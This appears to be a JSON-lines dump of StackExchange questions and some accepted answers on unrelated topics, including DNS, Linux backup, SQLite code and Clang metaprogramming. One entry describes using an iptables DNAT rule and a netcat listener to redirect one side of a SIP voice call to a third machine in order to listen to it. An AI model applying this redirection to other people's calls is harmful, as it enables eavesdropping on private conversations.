{  "id": "_cs.13783"  , "question": "Wikipedia Pushdown automaton (as of aug 16, 2013) states:In general, pushdown automata may have several computations on a given input string, some of which may be halting in accepting configurations. If only one computation exists for all accepted strings, the result is a deterministic pushdown automaton (DPDA)My professor gave this as an example that we shouldn't trust Wikipedia but rather consult a textbook. Is he right? "  , "title": "Definition of deterministic pushdown automaton"  , "tags": "terminology;pushdown automata"  } 
{  "id": "_softwareengineering.57547"  , "question": "we have a cross-platform middleware product which we typically end up customizing/bug fixing on a per client basis. In some cases, providing updates as often as once/twice per week.We have a lot of trouble efficiently managing and releasing the updates to our clients.I've done some digging, but I can't find anything to specifically address this problem.Can anyone share their experiences - how do you deal with this scenario, or do you know of a good software delivery cms?"  , "title": "How do you manage frequent software releases to multiple clients?"  , "tags": "management;builds;release"  } 
{  "id": "_unix.251709"  , "question": "Is there a way to backup all my programs, software, maybe even libraries and their data on a Linux system like it is for apps and their data on rooted Android with TitaniumBackup?I'd like to backup all my current programs in files and activate them on another Linux system again."  , "title": "How can I backup all my software in files to reinstall on another Linux system?"  , "tags": "package management;backup"  , "accepted_answer": "Backing up system files on UNIX type systems is generally not done on a file by file basis.If you are trying to migrate a system to new hardware, just boot the old machine with a live image such as knoppix and use dd to image your hard drive partitions to a remote machine over the network or to an external hard drive. Then you can boot the live image on the new machine and use dd to write the disk images to the new partitions. Note that the new machine will have the same configuration as the old machine, so if you are trying to clone a system while leaving the old system up then you will need to change a few configuration settings such as the hostname and any static IP addresses. Depending on what software you are using there may be other small changes that you need to make if both of the systems are to be used concurrently.If fully cloning a system is not what you are after, and the new system is the same Linux distribution as the old system, then use the package manager to get a list of installed software. That list can then be used by the package manager on the new system to install all of the software and libraries. After that just copy the data and configuration files from the old machine to the new one. Here is a URL describing this process for various distributions.Any software that was installed without using the package manager will need to be copied manually. In which case scp or rsync are the tools you are looking for. Such software is usually installed in /opt (for older legacy software) or under /usr/local/. You could clone the whole system this way, but if you miss anything important you will run into issues (hence why the previous two methods I mentioned are preferred). On Debian based distributions all of the important files should be contained in the following folders: /bin, /etc, /home, /lib, /lib64, /lib32, /opt (if it isn't empty), /root, /srv, /sbin, /usr, and /var. It is also a good idea to boot from a live image to do this as well since it will ensure that none of the files are being modified (especially in /var/log) while you are trying to copy them. This would look something like:rsync --progress -a -r /bin /etc /home /lib /lib64 /lib32 /opt /root /srv /sbin /usr /var username@remotehostname.domainname:/"  } 
{  "id": "_computergraphics.5072"  , "question": "I'm currently enrolled in an entry level Computer Graphics class, and as I'm studying for my final, I realize I have a question regarding the Cohen-Sutherland line clipping algorithm. I understand the basics of the algorithm, such as how to compute the 4-bit outcodes associated with each region and the test conditions for the endpoints of a line segment, but where I'm struggling is how to determine what the worst case scenario is for the algorithm.I've had the following question on both my midterm and a homework assignment: Draw two line segments (one with a positive slope and one with a negative slope) that reflect the worst case scenarios for the corresponding checking order. The following image file shows what the checking order was for each question, along with my original answers to the questions followed by the correct answers. If anyone could point me in the right direction, it would be greatly appreciated. The only answer from my professor I received when asking for an explanation was the worst case has to do with the checking order, and that answers absolutely nothing for me."  , "title": "Worst Case Scenario for Cohen-Sutherland Line Clipping Algorithm"  , "tags": "clipping"  } 
{  "id": "_unix.232290"  , "question": "I've been trying to build and install GNU Icecat from source on Arch linux using yaourt, but I've recieved errors during the build relating to the Infinality font set. I came across this page from the arch wiki which suggested that I could build the package in a clean chroot using the devtools package, which I have successfully done using the extra-x86_64-build build script.However, what the page is missing is any info on how to install the package to my main root from there. Any Ideas?"  , "title": "Arch - How do Install a package made in a clean chroot?"  , "tags": "arch linux;compiling;chroot"  } 
{  "id": "_webmaster.15035"  , "question": "I'm really a newbie about this issues so excuse me if this is a rather dumb question, I'm trying to point a domain a client of mine bought to a sub-domain of mine, they're both from different companies, I'm not looking for a redirect but instead let's say his domain is www.clientdomain.com and mine is www.mydoamin.com I need to point dev.clientdomain.com to test.mydomain.com for example keeping the URL as it is, so when I visit the 'about' page it'd be dev.clientdomain.com/about instead of test.mydomain.com/about.I hope it makes some sense, I have seen this done before but have no idea if its using .htaccess files or changing some configuration options in the host control panel, if so I assume each host has their way of doing this so a general example would be great to point me in the right direction.Thanks in advance!"  , "title": "How to point a domain to another subdomain?"  , "tags": "web hosting;domains;subdomain;nameserver"  } 
{  "id": "_unix.210065"  , "question": "INPUT: <a href=docs/2015-05-foobar/foobar.sh>foobar.sh</a>OUTPUT<a href=foobar.sh>foobar.sh</a>Question: How can I remove the docs/2015-05-foobar/ ? The string could vary between the  's"  , "title": "How to truncate a HTML link?"  , "tags": "sed"  } 
{  "id": "_codereview.74803"  , "question": "I wrote the below enum from which I need to extract the name and its value:public enum UserEnum {    TreeUser(/tree), ParentUser(/parent);    private String value;    UserEnum(String value) {        this.value = value;    }    public String value() {        return value;    }}This is the way I am using the above UserEnum in my code base:// extract TreeUserString nameOfTree = UserEnum.TreeUser.name();String valueOfTree = UserEnum.TreeUser.value();// extract ParentUser   String nameOfParent = UserEnum.ParentUser.name();String valueOfParent = UserEnum.ParentUser.value(); // and I am using UserEnum this way as well to make name1=value1,name2=value2   String mapping = UserEnum.TreeUser.name() + =                + UserEnum.TreeUser.value() + , + UserEnum.ParentUser.name() + =                + UserEnum.ParentUser.value();  I am opting for a review to see whether I can simplify anything in my enum."  , "title": "Extracting name and value from the enum"  , "tags": "java;enum"  , "accepted_answer": "Not sure about the usage of nameOfTree , nameOfParent and same for the value. But one thing to simplify your mapping and provide a representation for your enum is:public String toString(){    return  this.name() + = + this.value()}// and mapping cna be written as.String mapping = UserEnum.TreeUser.toString() +  , + UserEnum.ParentUser.toString();String mapping = UserEnum.TreeUser +  , + UserEnum.ParentUser; // toString() is called implictly."  } 
{  "id": "_unix.107720"  , "question": "I have been able to make a phone calls using the SIP client Pjsua from one Linux computer to another one. In case you have not heard of this user agent, explaining it's functionality is quite easy. It uses IP and port number of each linux to create a unique ID and then calling to this specific ID is possible.Now I have not studied port forwarding thoroughly but I suppose what it does is to forward whatever data that comes in, to another port or IP and port.So I thought to myself, if my calling application is using ports and IPs to send and receive voice, I should be able to forward those specific ports to a second or third port (or IP and port) and listen to the conversation on a third computer.So here is what I did.Supposing that machine Linux A has the following identification info: IP:192.168.1.11`  `UDP port# : 1111The second machine Linux B has the following identification: IP:192.168.1.22`  `UDP port# : 2222If I do the following using iptables I should be able to hear that side of the conversation which is being received on Linux B on a 3rd system, Linux C .The third machine, Linux C  has the following identification info: IP:192.168.1.33`  `UDP port# : 3333To achieve this, I tried running this command on Linux B:$ iptables -t nat -A PREROUTING -p udp --dport 2222 -j DNAT--to-destination 192.168.1.33:3333    //forward port 2222 to Linux C on port 3333And ran this command on Linux C:$ aplay | nc -l -u 3333     //listen on the specified UDP port However I don't hear anything on Linux C.Can anyone tell me why this is not working? Other strategies to do something like this are also welcome."  , "title": "listen to a conversation using port forwarding"  , "tags": "linux;iptables;port forwarding;udp;sip"  } 
{  "id": "_webmaster.36278"  , "question": "I am planning to move several websites to a new hosting provider - keeping the same URL but will resolve to different IP addresses. For example, some sites are Canadian content-only sites, hosted on .CA domains sitting on Canadian IP addresses.  I want to move these to Amazon servers which have US IP addresses.The domain names will remain the same.  (1) What is the SEO impact of this?  (2) Will the site lose some ranking if the sites are moved to a new IP address (Canadian or not), and if so, what is the cleanest way of accomplishing this (some kind of 301's)?"  , "title": "What is the SEO impact of moving my domain to another IP address and what is the right way of doing this?"  , "tags": "seo;ip address;ranking;google ranking"  } 
{  "id": "_codereview.152010"  , "question": "Here is my code for Tarjan's strongly connected component algorithm. Please point out any bugs, performance/space (algorithm time/space complexity) optimization or code style issues.from collections import defaultdictclass SccGraph:    def __init__(self, vertex_size):        self.out_neighbour = defaultdict(list)        self.vertex = set()        self.visited = set()        self.index = defaultdict(int)        self.low_index = defaultdict(int)        self.global_index = 0        self.visit_stack = []        self.scc = []    def add_edge(self, from_node, to_node):        self.vertex.add(from_node)        self.vertex.add(to_node)        self.out_neighbour[from_node].append(to_node)    def dfs_graph(self):        for v in self.vertex:            if v not in self.visited:                self.dfs_node(v)    def dfs_node(self, v):        # for safe protection        if v in self.visited:            return        self.index[v] = self.global_index        self.low_index[v] = self.global_index        self.global_index += 1        self.visit_stack.append(v)        self.visited.add(v)        for n in self.out_neighbour[v]:            if n not in self.visited:                self.dfs_node(n)                self.low_index[v] = min(self.low_index[v], self.low_index[n])            elif n in self.visit_stack:                self.low_index[v] = min(self.low_index[v], self.index[n])        result = []        if self.low_index[v] == self.index[v]:            w = self.visit_stack.pop(-1)            while w != v:                result.append(w)                w = self.visit_stack.pop(-1)            result.append(v)            self.scc.append(result)if __name__ == __main__:    g = SccGraph(5)    # setup a graph 1->2->3 and 3 -> 1 which forms a scc    # setup another two edges 3->4 and 4->5    g.add_edge(1,2)    g.add_edge(2,3)    g.add_edge(3,1)    g.add_edge(3,4)    g.add_edge(4,5)    g.dfs_graph()    print g.scc"  , "title": "Tarjan's strongly connected component finding algorithm"  , "tags": "python;algorithm;python 2.7;graph"  } 
{  "id": "_unix.84771"  , "question": "Can someone please tell me how to uninstall Aptana from ubuntu 12.04 LTS? I followed these instructions, in summary:Install the prerequisites with apt-get install.Download Aptana StudioExtract Aptana Studiosudo unzip [name of Aptana Studio ZIP file here].zip -d /optAdd the menu shortcutwget http://www.samclarke.com/wp-content/uploads/2012/04/AptanaStudio3.desktopsudo mv AptanaStudio3.desktop /usr/share/applications/AptanaStudio3.desktop"  , "title": "Uninstall Aptana from Ubuntu"  , "tags": "ubuntu;software installation"  } 
{  "id": "_unix.350081"  , "question": "I have configured auditd to track some sensitive files on my system. Now I would to have a script that will be called each time auditd writes a line, with the $1 argument of that script being the line added.From what I read in the manual auditd has no such option.Is there a way to do this anyway?If I'll have a cron script running every minute, I will have a problem defining it on which lines it should work (which lines are new? if any?)"  , "title": "how to run a script on auditd events?"  , "tags": "linux audit;events"  , "accepted_answer": "Using the tail command like so:tail -Fn0 /var/log/audit/audit.log | /sbin/scriptand /sbin/script is like so:while IFS= read -r line; do  #something to do with $line variable when it comesdone"  } 
{  "id": "_webapps.17307"  , "question": "I love SkyDrive, but find it frustrating when I want to attach a file that's on my SkyDrive to a new Hotmail message. I have to download the SkyDrive file to my computer and then attach the file to the email.Is there a way to cut out the middle man and just attach the file directly from SkyDrive?"  , "title": "Attaching SkyDrive files to Hotmail emails"  , "tags": "outlook.com;attachment;onedrive"  , "accepted_answer": "You can't do this. What you can do is share the document or file you would otherwise send as an attachment.Tick the checkbox next to the document filenameClick the Share link on the sidebarFrom the Share dialog that pops up with various options, you can share directly with another person by emailing them.Or you can click Get a link and select one of the options available:View onlyView and editMake it public!Then include the link in the body of your email."  } 
{  "id": "_unix.346437"  , "question": "Is it possible to add SELinux policy rule to restrict an application to a specific virtual or physical memory address range?  If so, which SELinux policy rule allows for a memory range to be specify?  Thanks. "  , "title": "Is it possible to add SELinux policy rule to restrict an application to a memory address range?"  , "tags": "linux;security;selinux"  } 
{  "id": "_unix.276005"  , "question": "I use MATE on Fedora.  At some point, the behavior of scrollbars on many applications has changed.  When I click below a scrollbar, now the scrollbar jumps to where I clicked.  Previously, it used to page down by one page (if I clicked anywhere below the current location of the scrollbar).I preferred the old behavior.  When on a very long page, the new behavior tends to make the scrollbar almost unusable: I can't control where I click precisely enough to control where the page jumps to.Is there a way to regain the previous behavior?  In other words, is there a way to make clicking on a scrollbar, below the current location of the scroll, to cause the window to go down by one page, rather than jumping to where I clicked?This difference is most noticeable in Firefox, but is not limited solely to Firefox; it affects other applications, too."  , "title": "Scrollbar moves to where I click"  , "tags": "mouse;gtk;scrolling"  } 
{  "id": "_unix.315002"  , "question": "I noticed that my vi editor changes inodes when editing files, except when that file is under /tmp. Why is this?"  , "title": "VI editor changes and does not change inodes of files when editing files under /tmp"  , "tags": "centos;vi;inode"  } 
{  "id": "_unix.17067"  , "question": "# which mkdir/bin/mkdir# which mkdi# How can I get the path of the e.g.: mkdir's binary without knowing the name of the binary file? (command). So that which mkdi would output the /bin/mkdir too."  , "title": "which with a little grep-like solution?"  , "tags": "bash;shell;wildcards;path"  , "accepted_answer": "In zsh:echo $path/mkdi*(N)In other shells, for human consumption:set -f; IFS=:for x in $PATH; do set +f; ls $x/mkdi* 2>/dev/null; done"  } 
{  "id": "_unix.146296"  , "question": "I know that in ~/.bashrc one must not put spaces around = signs in assignment:$ tail -n2 ~/.bashrc alias a=echo 'You hit a!'alias b = echo 'You hit b!'$ aYou hit a!$ bb: command not foundI'm reviewing the MySQL config file /etc/my.cnf and I've found this:tmpdir=/mnt/ramdiskkey_buffer_size = 1024Minnodb_buffer_pool_size = 512Mquery_cache_size=16MHow might I verify that the spaces around the = signs are not a problem?Note that this question is not specific to the /etc/my.cnf file, but rather to *NIX config files in general. My first inclination is to RTFM but in fact man mysql makes no mention of the issue and if I need to go hunting online for each case, I'll never get anywhere. Is there any convention or easy way to check? As can be seen, multiple people have edited this file (different conventions for = signs) and I can neither force them all to use no spaces, nor can I go crazy checking everything that may have been configured and may or may not be correct.EDIT: My intention is to ensure that currently-configured files are done properly. When configuring files myself, I go with the convention of whatever the package maintainer put in there."  , "title": "When are spaces around the = sign forbidden?"  , "tags": "configuration;file format"  , "accepted_answer": "I'll answer that in a more general way - looking a bit at the whole Unix learning experience.  In your example you use two tools, and see the language is similar. It just unclear when to use what exactly. Of course you can expect there is a clear structure, so you ask us to explain that.The case with the space around = is only and example - there are lot's of similar-but-bot-quite cases.There has to be a logic in it, right?!The rules how to write code for some tool, shell, database etc only depend on what this particular tool requires.  That means that the tools are completely independent, technically. The logical relation that I think you expect simply does not exist. The obvious similarity of the languages you are seeing are not part of the programm implementation. The similarity exist because developers had agreed how to do it when they wrote it down for a particular program. But humans can agree only partially.  The relation you are seeing is a cultural thing - it's neither part of the implementation, nor in the definition of the language.So, now that we have handeled the theory, what to do in practise?A big step is to accept that the consistency you expected does not exist - which is much easier when understanding the reasons - I hope the theory part helps with this.If you have two tools, that do not use the same configuration language (eg. both bash scripting), knowing the details of the syntax of one does not help much with understanding the other;So, indeed, you will have to look up details independently. Make sure you know where you find the reference documentation for each.On the positive side, there is some consistency where you did not expect it: in the context of a single tool (or different tools using the same language), you can be fairly sure the syntax is consistent.In your mysql example, that means you can assume that all lines have the same rule. So the rule is space before and after = is not relevant.There are wide differences in how hard it is to learn or use the configuration- or scripting language of a tool.It can be some like List foo values in cmd-foo.conf, one per line..It can be a full scripting language that is used elsewhere too. Then you have a powerful tool to write configuration - and in some cases that's just nice, in others you will really need that.Complex tools, or large famillies of related tools sometimes just use very complex special configuration file syntax - (some famous examples are sendmail and vim).Others use a general scripting language as base, and extend that language to support the special needs, some times in complex ways, as the language allows. That would be a very specific case of a domain-specific language (DSL). "  } 
{  "id": "_webmaster.105717"  , "question": "My domains are managed on Google but my site is hosted on AWS. I want to point both my root my-company.com and the www subdomain www.my-company.com to an AWS Load Balancer, which has an address, not an IP.Although I am allowed to add a Custom CNAME Resource Record for the www subdomain and it points to the LB address without any problems, I am not allowed to make the root record a CNAME record nor am I allowed to have the root A Record point to the LB address. It seems I have no way to point my root domain to an AWS Load Balancer.I tried looking into forwarding the domain to the www subdomain which works, but Google warns that then both the root and www records will be removed, so that would break the www forward to my LB.I thought to create a subdomain prod.my-company.com and use domain forwarding to point both root and and www to prod (Google says that domain forwarding will not affect any subdomains accept www) but this will not work because it will forward users to prod.my-company.com. I tried using AWS Route53 and was thinking of adding an NS record for root but Google also doesn't allow NS records for root!Any thoughts on how to make this work?"  , "title": "Cannot forward root domain managed by Google Domains to AWS Load Balancer"  , "tags": "domains;subdomain;amazon aws;domain forwarding;google domains"  , "accepted_answer": "This is a limitation in the fundamental design of DNS itself.  Adding a CNAME at the apex of a domain is essentially invalid because it leads to an illogical set of consequences.This is why Route 53 created A-Record Aliases -- to work around exactly this issue.  Instead of an external referral, like a CNAME does, Alias records are an internal referral -- Route 53 looks up the record using an internal lookup from its own database, returning what is essentially a dynamically populated A record.One option is to use a service like http://wwwizer.com, which gives you an A record for your example.com that simply returns a redirect to www.example.com.  (To be clear, this isn't a recommendation or endorsement; I have no affiliation with this service and don't use it, but have seen it mentioned in this context.)  The www record, of course, works fine with a CNAME.Another option is to move the hosting of your DNS to Route 53 but not the domain registration.  If your domain is registered with Google, you can retain the registration there, but host the records on Route 53... but this is not done by creating NS records.  The process appears to be documented here.The cost of Route 53 seems low enough to consider insignificant in this configuration, since they don't bill you for DNS queries that reach Alias records, when the Alias record terminates on ELB, CloudFront, or S3."  } 
{  "id": "_codereview.163532"  , "question": "I created code for inserting and retrieving data from a specific table. I tried to optimize it and make it as beautiful and easy to read as I can, but maybe (almost certainly) I'm missing something.It works well, but I wonder if I did all right?  Have I forgotten about something?public class EpgManager {private DatabaseHandler db;private List<JSONEpgManagerModel> jsonEpgManagerModel;private EPGManagerEvent epgManagerEvent;private SQLiteDatabase sqlDB;private List<EPGModel> singleEpgChannel;private List<EPGFullRowModel> fullRowModelList = new ArrayList<>();public EpgManager(Context context, EPGManagerEvent epgManagerEvent) {    db = new DatabaseHandler(context);    sqlDB = db.getWritableDatabase();    this.epgManagerEvent = epgManagerEvent;}/** * Method: Serializes Json String into Object of type JsonEpgManagementModel * <ul> * <li>Creates a sql insert query</li> * <li>Cleans epg_table</li> * <li>Loads data from JSON</li> * <li>Calls the {@link #epgManagerEvent onEpgUpdated} to show completion</li> * </ul> * * @param JSON epg json array */public void updateEpgTable(final String JSON, final HashMap<String, Integer> channelNumberMap,    final HashMap<String, String> channelImageMap) {    new AsyncTask<Void, Void, Void>() {        @Override        protected Void doInBackground(Void... params) {            sqlDB.delete(db.EPG_TABLE, null, null);            try {                jsonEpgManagerModel = Arrays                    .asList(new Gson().fromJson(JSON, JSONEpgManagerModel[].class));            } catch (Exception e) {                e.printStackTrace();            }            writeEPGTable(jsonEpgManagerModel, channelNumberMap, channelImageMap);            return null;        }        @Override        protected void onPostExecute(Void aVoid) {            super.onPostExecute(aVoid);            epgManagerEvent.onEpgUpdated();        }    }.execute();}/** * Method: Inserts rows into epg_table * * @param jsonEpgManagerModel Serialized EPG Model * @param channelNumberMap Channel ID and Channel Number HashMap * @param channelImageMap Channel ID and Channel Image HashMap */private void writeEPGTable(List<JSONEpgManagerModel> jsonEpgManagerModel,    HashMap<String, Integer> channelNumberMap, HashMap<String, String> channelImageMap) {    String epgSqlInsertStatement = INSERT INTO         + db.EPG_TABLE        + (        + db.KEY_EPG_ID + , + db.KEY_EPG_DATE + ,        + db.KEY_EPG_DATE_MILLISECONDS + , + db.KEY_EPG_DISPLAY_TIME + ,        + db.KEY_EPG_TITLE + , + db.KEY_EPG_DESCRIPTION + , + db.KEY_EPG_IMAGE_URL + ,        + db.KEY_EPG_DURATION + , + db.KEY_EPG_CHANNEL_ID + ,        + db.KEY_EPG_CHANNEL_NUMBER + , + db.KEY_EPG_CHANNEL_IMAGE_LINK        + )        +  values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);;    sqlDB.beginTransaction();    SQLiteStatement sqLiteStatement = sqlDB.compileStatement(epgSqlInsertStatement);    for (int i = 0; i < jsonEpgManagerModel.size(); i++) {        for (int k = 0; k < jsonEpgManagerModel.get(i).getEPGList().size(); k++) {            ChannelPrograms epgProgram = jsonEpgManagerModel.get(i).getEPGList().get(k);            sqLiteStatement.bindString(1, epgProgram.getEpgId());            sqLiteStatement.bindString(2, epgProgram.getEpgDate());            sqLiteStatement.bindLong(3, getDateInMilliseconds(epgProgram.getEpgDate()));            sqLiteStatement.bindString(4, epgProgram.getEpgDisplayTime());            sqLiteStatement.bindString(5, epgProgram.getEpgTitle());            sqLiteStatement.bindString(6, epgProgram.getEpgDescription());            sqLiteStatement.bindString(7, epgProgram.getEpgImageUrl());            sqLiteStatement.bindString(8, epgProgram.getEpgDuration());            sqLiteStatement.bindString(9, jsonEpgManagerModel.get(i).getEpgChannelId());            sqLiteStatement.bindString(10,  + channelNumberMap.get(jsonEpgManagerModel.get(i).getEpgChannelId()));            sqLiteStatement.bindString(11,  + channelImageMap.get(jsonEpgManagerModel.get(i).getEpgChannelId()));            sqLiteStatement.executeInsert();            sqLiteStatement.clearBindings();        }    }    sqlDB.setTransactionSuccessful();    sqlDB.endTransaction();}/** * Method returns list of epg channels and programs in order to build the epg * <ul> * <li>Gets rows from channel_table</li> * <li>Gets rows from epg_table by channel_table channel_id</li> * <li>Populates list of EPGFullRowModel class</li> * </ul> * * @return EPG Screen data list of type EPGFullRowModel */public List<EPGFullRowModel> getAllChannelPrograms() {    List<EPGModel> epgProgramList = new ArrayList<>();    Cursor channelCursor = sqlDB.query(db.CHANNEL_TABLE,        new String[] {db.KEY_CHANNEL_ID, db.KEY_CHANNEL_IMG_LINK, db.KEY_CHANNEL_NUMBER}, null,        null, null, null, null);    Cursor epgCursor;    while (channelCursor.moveToNext()) {        epgCursor = sqlDB.query(db.EPG_TABLE, null, db.KEY_EPG_CHANNEL_ID + =?,            new String[] {channelCursor.getString(0)}, null, null,            db.KEY_EPG_DATE_MILLISECONDS +  ASC);        while (epgCursor.moveToNext()) {            epgProgramList.add(                new EPGModel(                    epgCursor.getString(1),epgCursor.getString(2),                    epgCursor.getString(3),epgCursor.getString(4),                    epgCursor.getString(5),epgCursor.getString(6),                    epgCursor.getString(7),epgCursor.getString(8),                    epgCursor.getString(9),channelCursor.getString(2),                    epgCursor.getString(1)                )            );        }        fullRowModelList.add(new EPGFullRowModel(            new ChannelModel(channelCursor.getString(0), channelCursor.getString(1),                Integer.valueOf(channelCursor.getString(2))), epgProgramList));        epgCursor.close();        epgProgramList = new ArrayList<>();    }    channelCursor.close();    return fullRowModelList;}/** * Method returns list of epg programs in order to build the single channel epg * * @param channelId Channel unique id * @return Single epg row list of type EPGModel */public List<EPGModel> getSingleChannelPrograms(String channelId) {    Cursor cursor = sqlDB        .query(db.EPG_TABLE, null, db.KEY_EPG_CHANNEL_ID + =?, new String[] {channelId}, null,            null,  db.KEY_EPG_DATE_MILLISECONDS +  ASC, null);    singleEpgChannel = new ArrayList<>();    Log.e(CURSOR , String.valueOf(cursor.getCount()));    if (cursor.moveToFirst()) {        do {            singleEpgChannel.add(                new EPGModel(cursor.getString(1), cursor.getString(2), cursor.getString(3),                    cursor.getString(4), cursor.getString(5), cursor.getString(6),                    cursor.getString(7), cursor.getString(8), cursor.getString(9),                    cursor.getString(10), cursor.getString(11)));        } while (cursor.moveToNext());    }    cursor.close();    return singleEpgChannel;}/** * Method transforms the date of string into long of milliseconds * * @param date Epg program date * @return Milliseconds */private long getDateInMilliseconds(String date) {    date = date.replaceAll(T,  );    date = date.replaceAll(Z, );    SimpleDateFormat simpleDateFormat = new SimpleDateFormat(yyyy-MM-dd HH:mm:ss);    Calendar calendar = Calendar.getInstance();    try {        calendar.setTime(simpleDateFormat.parse(date));        calendar.set(Calendar.SECOND, 0);        calendar.set(Calendar.MILLISECOND, 0);    } catch (ParseException e) {        e.printStackTrace();    }    return calendar.getTimeInMillis();}}"  , "title": "Code for writing and reading from the database"  , "tags": "java;android;sqlite"  } 
{  "id": "_softwareengineering.257266"  , "question": "This started out as a SO question but I realized that it is quite unconventional and based on the actual description on the websites, it might be better suited to programmers.se since the question has a lot of conceptual weight.  I have been learning clang LibTooling and it is a very powerful tool capable of exposing the entire nitty gritty of the code in a friendly way, that is, in a semantic way, and not by guessing either. If clang can compile your code, then clang is certain about the semantics of every single character inside that code. Now allow me to step back for a moment. There are many practical problems that arise when one engages in C++ template metaprogramming (and especially when venturing beyond templates into the territory of clever albeit terrifying macros). To be honest, to many programmers, myself included, many of the ordinary uses of templates are also somewhat terrifying. I guess a good example would be compile-time strings. This is a question that is over a year old now, but it is clear that C++ as of right now does not make this easy for mere mortals. While looking at these options isn't quite enough to induce nausea for me, it nevertheless leaves me unconfident about being able to produce magical, maximally efficient machine code to suit whatever fancy application I have for my software. I mean, let's face it, folks, strings are pretty simple and basic. Some of us just want a convenient way to emit machine code that has certain strings baked in significantly more than we do get when coding it the straightforward way. In our C++ code. Enter clang and LibTooling, which exposes the abstract syntax tree (AST) of the source code and allows a simple custom C++ application to correctly and reliably manipulate raw source code (using Rewriter) alongside a rich semantic object-oriented model of everything in the AST. It handles a lot of things. It knows about the macro expansions, and lets you follow those chains. Yes, I am talking about source-to-source code transformation or translation. My fundamental thesis here is that clang now enables us to create executables which themselves can function as the ideal custom preprocessor stages to our C++ software, and we can implement these metaprogramming stages with C++. We are simply constrained by the fact that this stage must take input which is valid C++ code and produce as output more valid C++ code. Plus whatever other constraints your build system applies. The input has to be at least very close to valid C++ code because, after all, clang is the compiler front-end and we are just poking around and being creative with its API. I do not know if there is any provision for being able to define new syntax to use, but clearly we have to develop the ways to properly parse it and add it to the clang project in order to do this. To expect any more is to have something in the clang project that is out of scope. Not a problem. I would imagine that some no-op macro functions can handle this task. Another way to look at what I'm describing is to implement metaprogramming constructs using runtime C++ by manipulating the AST of our source code (thanks to clang and its API) instead of implementing them using the more limited tools available in the language itself. This has clear compilation performance benefits as well (template-heavy headers slow compilation proportionally to how often you use them. Lots of compiled stuff then gets carefully matched up and thrown away by the linker). This does, however, come at the cost of introducing an additional step or two in the build process and also in the requirement of writing some (admittedly) somewhat more verbose software (but at least it is straightforward runtime C++) as part of our tool. That isn't the whole picture. I am pretty certain that there is a much larger space of functionality that can be had from generating code that is extremely difficult or impossible with core language features. In C++ you can write a template or a macro or a crazy combination of both, but in a clang tool you can modify classes and functions in ANY way that you can achieve with C++, at runtime, while having full access to the semantic content, in addition to template and macros and everything else.So, I'm wondering about why everybody isn't already doing this. Is it that this functionality from clang is so new and nobody is familiar with the huge class hierarchy of clang's AST? That can't be it.Perhaps I am just underestimating the difficulty of this a little bit, but doing compile-time string manipulation with a clang tool is nearly criminally simple. It's verbose, but it's insanely straightforward. All that's needed are a bunch of no-op macro functions that map to actual real std::string operations. The clang plugin implements this by fetching all the relevant no-op macro calls, and performs the operations with strings. This tool is then inserted as a part of the build process. During build, these no-op macro function calls are automatically evaluated into their results, and then inserted back as plain old compile-time strings in the program. The program can then be compiled as usual. In fact this resulting program is also much more portable as a result, not requiring a fancy new compiler supporting C++11."  , "title": "C++: Metaprogramming with a compiler API rather than with C++ features"  , "tags": "c++;c++11;meta programming;clang"  , "accepted_answer": "Yes, Virginia, there is a Santa Claus.The notion of using programs to modify programs has been around a long time. The original idea came from John von Neumann in the form of stored-program computers.  But machine code modifying machine code in arbitrary ways is pretty inconvenient.  People generally want to modify source code.  This is mostly realized in the form of program transformation systems (PTS).PTS generally offer, for at least one programming language, the ability to parse to ASTs, manipulate that AST, and regenerate valid source text.  If in fact you dig around, for most mainstream languages, somebody has built such a tool (Clang is an example for C++, the Java compiler offers this capability as an API, Microsoft offers Rosyln, Eclipse's JDT, ...) with a procedural API that is actually pretty useful.  For the broader community, almost every language-specific community can point to something like this, implemented with various levels of maturity (usually modest, many just parsers producing ASTs).  Happy metaprogramming.[There's a reflection-oriented community that tries to do metaprogramming from inside the programming language, but only achieve runtime behaviour modifiation, and only to the extent that the language compilers made some information available by reflection. With the exception of LISP, there are always details about the program that are not available by reflection (Luke, you need the source) that always limit what reflection can do.]The more interesting PTS do this for arbitrary languages (you give the tool a language description as a configuration parameter, including at a minimum the BNF).  Such PTS also allow you to do source to source transformation, e.g., specify patterns directly using the surface syntax of the targeted language; using such patterns, you can code fragments of interest, and/or find and replace code fragments.  This is far more convenient than the programming API, because you don't have to know every microscopic details about the ASTs to do most of your work.  Think of this as meta-metaprogramming :-} A downside: unless the PTS offers various kinds of useful static analyses (symbol tables, control and data flow analyses), it is hard to write really interesting transformations this way, because you need to check types and verify information flows for most practical tasks.  Unfortunately, this capability is in fact rare in the general PTS.  (It is always unavailable with the ever-proposed If I just had a parser...   See my bio for a longer discussion of Life After Parsing).There's a theorem that says if you can do string rewriting [thus tree rewriting] you can do arbitrary transformation; and thus a number of PTS lean on this to claim you can metaprogram anything with just the tree rewrites they offer. While the theorem is satisfying in the sense you are now sure you can do anything, it is unsatisfying in the same way that a Turing Machine's ability to do anything doesn't make programming a Turing Machine the method of choice. (The same holds true for systems with just procedural APIs, if they will let you make arbitrary changes to the AST [and in fact I think this is not true of Clang]).What you want is the best of both worlds, a system that offers you the generality of the language-parameterized type of PTS (even handling multiple languages), with the additional static analyses, the ability to mix source-to-source transformations with procedural APIs.  I only know of two that do this:Rascal (MPL) MetaProgramming Languageour DMS Software Reengineering ToolkitUnless you want the write the language descriptions and static analyzers yourself (for C++ this is a tremendous amount of work, which is why Clang was constructed both as a compiler and as general procedural metaprogramming foundation), you will want a PTS with mature language descriptions already available.  Otherwise you will spend all your time configuring the PTS, and none doing the work you actually wanted to do. [If you pick a random, non-mainstream language, this step is very hard to avoid].Rascal tries to do this by co-opting OPP (Other People's Parsers) but that doesnt help with the static analysis part.  I think they have Java pretty well in hand, but I'm very sure they don't do C or C++. But, its a academic research tool; hard to blame them.I emphasize, our [commercial] DMS tool does have Java, C, C++ full front ends available. For C++, it covers almost everything in C++14 for GCC and even Microsoft's variations (and we are polishing now), macro expansion and conditional management, and method-level control and data flow analysis.  And yes, you can specify grammar changes in a practical way; we built a custom VectorC++ system for a client that radically extended C++ to use what amount to F90/APL data-parallel array operations.   DMS has been used to carry out other massive metaprogramming tasks on large C++ systems (e.g., application architectural reshaping).  (I am the architect behind DMS).Happy meta-metaprogramming."  } 
